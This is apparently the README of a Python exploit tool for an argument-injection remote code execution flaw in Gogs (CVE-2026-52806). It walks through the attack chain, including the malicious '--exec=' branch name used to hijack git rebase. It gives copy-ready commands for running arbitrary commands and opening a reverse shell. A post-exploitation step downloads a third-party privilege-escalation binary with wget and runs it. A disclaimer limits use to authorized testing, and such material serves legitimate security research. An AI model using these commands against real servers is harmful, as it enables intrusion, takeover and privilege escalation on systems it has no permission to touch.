Gogs RCE — Argument Injection in git rebase (CWE-88)

Authenticated remote code execution against Gogs (<= 0.14.2 and 0.15.0+dev) via argument injection in the pull request merge flow.

CVE-2026-52806

Vulnerability

The Merge() function in internal/database/pull.go passes the PR base branch name to git rebase without a -- separator. A branch named --exec=<COMMAND> is parsed by Git as the --exec flag rather than a positional argument, causing sh -c <COMMAND> to run after each replayed commit during the rebase.

How the exploit works

1. Pre-flight — determines if the target runs Gogs, fingerprints the version via the ?v= parameter on static assets, and checks whether user registration is open, captcha-protected, or disabled.
2. Authentication — if no credentials are provided, attempts to auto-register (no captcha) or if captcha is enabled, prints a message telling the user to create an account on the target's signup page and re-run with -u <username> -pw <password>. Creates an API token via Basic auth or the web settings page.
3. Repository setup — creates a temporary private repository via the Gogs API and enables Rebase before merging in the settings.
4. Git branch manipulation — locally initialises a git repo, pushes:
   • A master branch with a README
   • A feature-* branch with a divergent commit
   • A malicious branch named --exec=sh${IFS}.payload containing a script that runs the attacker's command in the background
5. Pull request — opens a PR from the feature branch into the malicious --exec= branch.
6. Trigger — POSTs to the merge endpoint with merge_style=rebase_before_merging. Gogs internally runs git rebase --exec=sh${IFS}.payload, which executes the payload after each replayed commit.

Requirements

• Python 3.6+
• requests (pip install requests)
• Local git installation

Usage

python3 gogs.py <target> [options]

Pre-flight check

python3 gogs.py http://target:3000 --preflight-only

Reports:

• Registration: ENABLED (no captcha) — can auto-register
• Registration: ENABLED (CAPTCHA DETECTED) — create an account manually on the target's signup page, then provide credentials with -u / -pw
• Registration: DISABLED — need existing credentials from an admin

Run the exploit

# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Options

Post-Exploitation

Once you have a shell on the target, the Gogs process typically runs as a low-privileged user (e.g. git in Docker). To attempt privilege escalation to root, download and run the lpe-toolkit binary from the project's releases page:

# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

The toolkit enumerates kernel exploits, misconfigurations, and other common escalation vectors.

References

• Rapid7 blog post — Authenticated RCE via Argument Injection in Gogs (unfixed)
• Metasploit module — Rapid7's exploit/multi/http/gogs_rebase_rce by Jonah Burgess (CryptoCat) (PR #21515)
• GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
• Gogs — https://github.com/gogs/gogs

This Python PoC is inspired by the released Metasploit module. The vulnerability was discovered and responsibly disclosed by Jonah Burgess (CryptoCat) at Rapid7.

Disclaimer

This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse or damage caused by this software.

Note

The Gogs API does not support token deletion, so any API access tokens created during exploitation will persist and must be removed manually at /user/settings/applications on the target instance.